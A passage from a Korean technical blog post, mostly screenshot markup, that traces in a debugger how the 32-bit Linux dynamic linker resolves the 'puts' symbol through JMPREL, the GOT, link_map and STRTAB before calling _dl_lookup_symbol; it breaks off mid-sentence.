&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qnevn/btsF6JX9a4W/ODK0iM2JBgcsopqHiFBLK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qnevn/btsF6JX9a4W/ODK0iM2JBgcsopqHiFBLK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qnevn/btsF6JX9a4W/ODK0iM2JBgcsopqHiFBLK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqnevn%2FbtsF6JX9a4W%2FODK0iM2JBgcsopqHiFBLK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;182&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB 테이블에서의 &quot;puts&quot; 문자열 offset 값이 들어있는 주소 0x8048178을 ebp-16(0xbffffc84) 주소와 ebp-4(0xbffffc90) 주소에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;결론적으로 0x8048178 주소(STRTAB 테이블에서의 &quot;puts&quot; 문자열 offset 값이 들어있는 주소)를 ebp-16(0xbffffc84) 주소와 ebp-4(0xbffffc90) 주소에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;GOT 주소 알아와서 EBP-12 주소에 기록하고 재배치 타입을 비교해 조건 분기 및 esi 레지스터에 link_map 주소 넣기&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca0egB/btsF5EpsgQt/Qy4S00xwVkCg6mgTqWGn71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca0egB/btsF5EpsgQt/Qy4S00xwVkCg6mgTqWGn71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca0egB/btsF5EpsgQt/Qy4S00xwVkCg6mgTqWGn71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca0egB%2FbtsF5EpsgQt%2FQy4S00xwVkCg6mgTqWGn71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;181&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB에서의 puts 문자열 주소를 구하는 부분을 살펴보기 전 ecx 레지스터에는 0x8048280 주소가 들어있었는데, 이 주소는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;0x8048280 주소에 있는 값 0x804948c를 esi 레지스터에 넣는데, 0x804948c는 puts 함수의 GOT 주소이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Oci8Z/btsF7xQERnb/FyPSWvMNu4BMchCmS5xDfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Oci8Z/btsF7xQERnb/FyPSWvMNu4BMchCmS5xDfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Oci8Z/btsF7xQERnb/FyPSWvMNu4BMchCmS5xDfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOci8Z%2FbtsF7xQERnb%2FFyPSWvMNu4BMchCmS5xDfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;181&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c50iv4/btsF6dLGEsI/DzTGGdrtJNbt3UvIrXCzaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c50iv4/btsF6dLGEsI/DzTGGdrtJNbt3UvIrXCzaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c50iv4/btsF6dLGEsI/DzTGGdrtJNbt3UvIrXCzaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc50iv4%2FbtsF6dLGEsI%2FDzTGGdrtJNbt3UvIrXCzaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;144&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp-20(0xbffffc80) 주소에는 이전에 link_map(0x40013ed0)의 주소를 넣뒀는데,&amp;nbsp;link_map(0x40013ed0)의 주소에 있는 값 0x0을 edi 레지스터로 옮기고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x5WE5/btsF5A8shSO/pKs1xaECfmUPo4dKbVao80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x5WE5/btsF5A8shSO/pKs1xaECfmUPo4dKbVao80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x5WE5/btsF5A8shSO/pKs1xaECfmUPo4dKbVao80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx5WE5%2FbtsF5A8shSO%2FpKs1xaECfmUPo4dKbVao80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;181&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqHz5B/btsF7ul7ccR/gieA5sgWT3kLgWLEd67GA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqHz5B/btsF7ul7ccR/gieA5sgWT3kLgWLEd67GA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqHz5B/btsF7ul7ccR/gieA5sgWT3kLgWLEd67GA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqHz5B%2FbtsF7ul7ccR%2FgieA5sgWT3kLgWLEd67GA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;181&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp-12(0xbffffc88) 주소에 puts 함수의 GOT 주소(0x804948c)를 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;313&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvrIcb/btsF9aUwjOF/DuCM3P5s4KWRGtkWxVZjTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvrIcb/btsF9aUwjOF/DuCM3P5s4KWRGtkWxVZjTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvrIcb/btsF9aUwjOF/DuCM3P5s4KWRGtkWxVZjTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvrIcb%2FbtsF9aUwjOF%2FDuCM3P5s4KWRGtkWxVZjTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;313&quot; height=&quot;146&quot; data-origin-width=&quot;313&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6NSjk/btsF3VFmoEj/WYpkD2oa1iisMO966Qzwl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6NSjk/btsF3VFmoEj/WYpkD2oa1iisMO966Qzwl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6NSjk/btsF3VFmoEj/WYpkD2oa1iisMO966Qzwl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6NSjk%2FbtsF3VFmoEj%2FWYpkD2oa1iisMO966Qzwl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;437&quot; height=&quot;181&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 ecx+4의 주소(0x8048284)는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 내용에서 .dynsym 테이블에서의 index와 재배치 타입 정보가 들어있는 곳으로, 0x207이라는 값이 들어있었으므로 edx에는 0x207이 담긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baz0o1/btsF4UlMCsT/ZH2CrDXSF6u0OAkoBZHNfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baz0o1/btsF4UlMCsT/ZH2CrDXSF6u0OAkoBZHNfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baz0o1/btsF4UlMCsT/ZH2CrDXSF6u0OAkoBZHNfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbaz0o1%2FbtsF4UlMCsT%2FZH2CrDXSF6u0OAkoBZHNfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;181&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF0p3W/btsF3WjURM6/jUuodYAQ2v0EPi1cVzeLKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF0p3W/btsF3WjURM6/jUuodYAQ2v0EPi1cVzeLKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF0p3W/btsF3WjURM6/jUuodYAQ2v0EPi1cVzeLKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF0p3W%2FbtsF3WjURM6%2FjUuodYAQ2v0EPi1cVzeLKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;181&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 edx 레지스터에 있는 값에서 8bit 값만 비교하여 재배치 타입이 뭔지 비교 후 0x4000a7b6 주소로 점프한 후 link_map의 주소(0x40013ed0)를 esi 레지스터에 저장한 다음&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eeB4jz/btsF94aHu9z/CKoM9Df2V38kiTskv2khL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eeB4jz/btsF94aHu9z/CKoM9Df2V38kiTskv2khL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eeB4jz/btsF94aHu9z/CKoM9Df2V38kiTskv2khL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeeB4jz%2FbtsF94aHu9z%2FCKoM9Df2V38kiTskv2khL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;363&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;esi+400 주소(0x40014060)에 있는 값 0x804952c 주소를 eax에 넣고, eax의 값이 0인지 검사하여 0이면 0x4000a800 주소로 점프하지만 eax의 값이 0이 아니므로 조건 분기를 수행하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;686&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czIm3B/btsGcsVJBAH/GWXeuehH6TLiYkbEgbXwek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czIm3B/btsGcsVJBAH/GWXeuehH6TLiYkbEgbXwek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czIm3B/btsGcsVJBAH/GWXeuehH6TLiYkbEgbXwek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczIm3B%2FbtsGcsVJBAH%2FGWXeuehH6TLiYkbEgbXwek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;686&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;686&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;조건 분기를 하지 않았으므로 바로 다음 줄의 명령을 수행하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax+4 주소(0x8049530)의 값 0x8048240 주소를 eax로 옮기고, edx 레지스터의 값 0x207을 0x2로 만든 다음 eax 레지스터의 값(0x8048240)에 0x2를 더한 0x8048242 주소에 있는 2byte 값 0x0002을 eax로 옮긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 eax에는 0x02가 들어가게 되고, 0x4와 shl 연산을 해 0x20으로 만든 다음 esi+488 주소(0x400140b8)에 있는 값 0x40014660에 더하면, eax에는 0x40014680이 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실제로 STRTAB의 주소와 STRTAB에서 puts 문자열의 offset 값과 더해 STRTAB에서 puts 문자열의 주소를 구하는 부분&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyKpN/btsGaCrwZ3F/k7FEcaA0riXXuIkAlpSRK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyKpN/btsGaCrwZ3F/k7FEcaA0riXXuIkAlpSRK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyKpN/btsGaCrwZ3F/k7FEcaA0riXXuIkAlpSRK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyKpN%2FbtsGaCrwZ3F%2Fk7FEcaA0riXXuIkAlpSRK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;797&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;eax+4 주소(0x40014684)에 있는 값 0x0d696910과 0을 비교하여 같으면 0x4000a800 주소로 점프하는데, 0x0d696910과 0은 다르므로 조건 분기를 수행하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(0x4000a800 주소는 이전에도 0x4000a7c1 주소에서 조건 분기를 할 때 점프하는 주소였다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp-4의 주소(0xbffffc90=0x8048178(.dynsym 테이블에서 puts 함수의 Elf32_Sym 구조체 형식의 값의 주소))를 edx 레지스터에 옮기고&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ebp-16 주소(0xbffffc84)에 있는 값 0x8048178(.dynsym 테이블에서 puts 함수의 Elf32_Sym 구조체 형식의 값의 주소)을 edi 레지스터에 옮기는데, 0x8048178 주소에는 STRTAB에서 puts 문자열의 offset이 담겨있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 0x8048178 주소에 있는 값 0x1a를 edi로 옮기므로 edi에는 0x1a가 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 ebp-8 주소(0xbffffc8c) 주소에 있는 값 0x80481c8에 edi의 값 0x1a를 더하는데, 0x80481c8은 STRTAB의 주소이고, 0x1a는 STRTAB에서 puts 문자열의 offset 값이므로 STRTAB에서 puts 문자열의 주소(0x80481e2)를 구해 ebp-8 주소(0xbffffc8c)에 넣는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 부분이 실제로 STRTAB에서 puts 문자열의 주소(0x80481e2)를 구하는 곳이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Er0AL/btsF93iPGA1/PA0ZYjFXklj68jY5W4BHBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Er0AL/btsF93iPGA1/PA0ZYjFXklj68jY5W4BHBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Er0AL/btsF93iPGA1/PA0ZYjFXklj68jY5W4BHBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEr0AL%2FbtsF93iPGA1%2FPA0ZYjFXklj68jY5W4BHBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;466&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oz68V/btsGdTkXi55/G760MFxue045abtFkVKZd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oz68V/btsGdTkXi55/G760MFxue045abtFkVKZd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oz68V/btsGdTkXi55/G760MFxue045abtFkVKZd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foz68V%2FbtsGdTkXi55%2FG760MFxue045abtFkVKZd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;429&quot; data-origin-width=&quot;602&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 스택에 0x7, 0x40014680, 0x40010c27을 넣고, esi 레지스터의 값 0x40013ed0(link_map)을 ecx 레지스터에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ecx 레지스터의 값을 0x400140d4로 만들고, ebp-8 주소(0xbffffc8c)에 있는 값 0x80481e2(STRTAB에서 puts 문자열의 주소)를 eax 레지스터에 옮기므로 eax 레지스터에는 STRTAB에서 puts 문자열의 주소(0x80481e2)가 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;_dl_lookup_symbol&amp;nbsp;호출&amp;nbsp;전&amp;nbsp;레지스터&amp;nbsp;및&amp;nbsp;스택&amp;nbsp;정리&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MPvY6/btsGaY9FI7Q/Or4gqWN7VNd3FmPPp3U3Nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MPvY6/btsGaY9FI7Q/Or4gqWN7VNd3FmPPp3U3Nk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MPvY6/btsGaY9FI7Q/Or4gqWN7VNd3FmPPp3U3Nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMPvY6%2FbtsGaY9FI7Q%2FOr4gqWN7VNd3FmPPp3U3Nk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;539&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기까지 정리해보면 eax 레지스터에는 0x80481e2(STRTAB에서 puts 문자열의 주소)&lt;/p&gt;
